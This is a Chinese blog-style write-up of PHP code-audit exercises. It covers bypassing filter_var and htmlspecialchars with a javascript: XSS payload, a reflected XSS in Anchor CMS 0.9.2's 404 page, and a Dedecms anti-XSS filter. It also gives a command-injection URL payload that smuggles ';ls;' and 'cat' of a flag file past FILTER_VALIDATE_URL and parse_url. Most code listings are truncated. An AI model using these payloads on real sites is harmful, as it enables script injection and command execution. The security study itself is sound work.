代码如下:
1 | // composer require "twig/twig" |
这段代码涉及到了PHP的模板引擎Twig,直接来简化一下代码:
1 |
|
分别解释一下这两个函数:
filter_var :(PHP 5 >= 5.2.0, PHP 7)
功能 :使用特定的过滤器过滤一个变量
定义 :mixed filter_var ( mixed $variable
[, int $filter
= FILTER_DEFAULT [, mixed $options
]] )
htmlspecialchars :(PHP 4, PHP 5, PHP 7)
功能 :将特殊字符转换为 HTML 实体
定义 :string htmlspecialchars ( string $string
[, int $flags
= ENT_COMPAT | ENT_HTML401 [, string$encoding
= ini_get(“default_charset”) [, bool $double_encode
= TRUE ]]] )
1 | > & (& 符号) =============== & |
针对这两处的过滤,我们可以考虑使用 javascript伪协议 来绕过。我们使用 payload :?url=javascript://comment%250aalert(1)
,可以执行 alert 函数:
解释一下这个Payload:
这里的 // 在JavaScript中表示单行注释,所以后面的内容均为注释,那为什么会执行 alert 函数呢?那是因为我们这里用了字符 %0a ,该字符为换行符,所以 alert 语句与注释符 // 就不在同一行,就能执行。当然,这里我们要对 % 百分号编码成 %25 ,因为程序将浏览器发来的payload:javascript://comment%250aalert(1)
先解码成: javascript://comment%0aalert(1)
存储在变量 $url 中(上图第二行代码),然后用户点击a标签链接就会触发 alert 函数。
今天的实例用的是 Anchor 0.9.2 版本,在该版本中,当用户访问一个不存在的URL链接时,程序会调用404模板,而这个模板则存在XSS漏洞。问题存在于404.php
:
1 | <?php theme_include('header'); ?> |
current_url()
将读取当前环境的SERVER['PATH_INFO']
的值,然后再回显到页面上。
原文中的利用链涉及多个函数,但是我在本地环境复现进行单步调试时,却并没有进入到detect()
函数中,而是直接返回了current
的值,尝试了很多次也没找到复现失败的原因,这里先留一个坑。
Payload:
1 | http://localhost/anchor/index.php/<script>alert('www.sec-redclub.com')</script> |
对XSS漏洞,我们最好就是过滤关键词,将特殊字符进行HTML实体编码替换,这里引用Dedecms中防御XSS的代码:
1 | function RemoveXSS($val) { |
1 | // index.php |
1 | // f1agi3hEre.php |
mochazz师傅给的payload:
1 | ?url=demo://%22;cat%20f1agi3hEre.php;%23;sec-redclub.com:80/ |
但是相同的payload不能成功,问题出在parse_url()
解析的时候:
1 | ["scheme"]=> string(4) "demo" |
这样就会导致perg_match
匹配失败。我换了另外一个payload,用于闭合最后一个"
:
1 | http://192.168.153.132:8003/index.php?url=demo://%22;ls;%22sec-redclub.com:80/ |
解释一下这个Payload:
先来绕过 filter_var 的 FILTER_VALIDATE_URL 过滤器,这里提供几个绕过方法,如下:
1 | http://localhost/index.php?url=http://demo.com@sec-redclub.com |
接着要绕过 parse_url 函数,并且满足 $site_info[‘host’] 的值以 sec-redclub.com 结尾
1 | ?url=demo://%22;ls;%22sec-redclub.com:80/ |
第一个%22
用于闭合前面的双引号,分号可以在Linux系统上连续执行命令,后面一个%22
用于闭合后面的引号。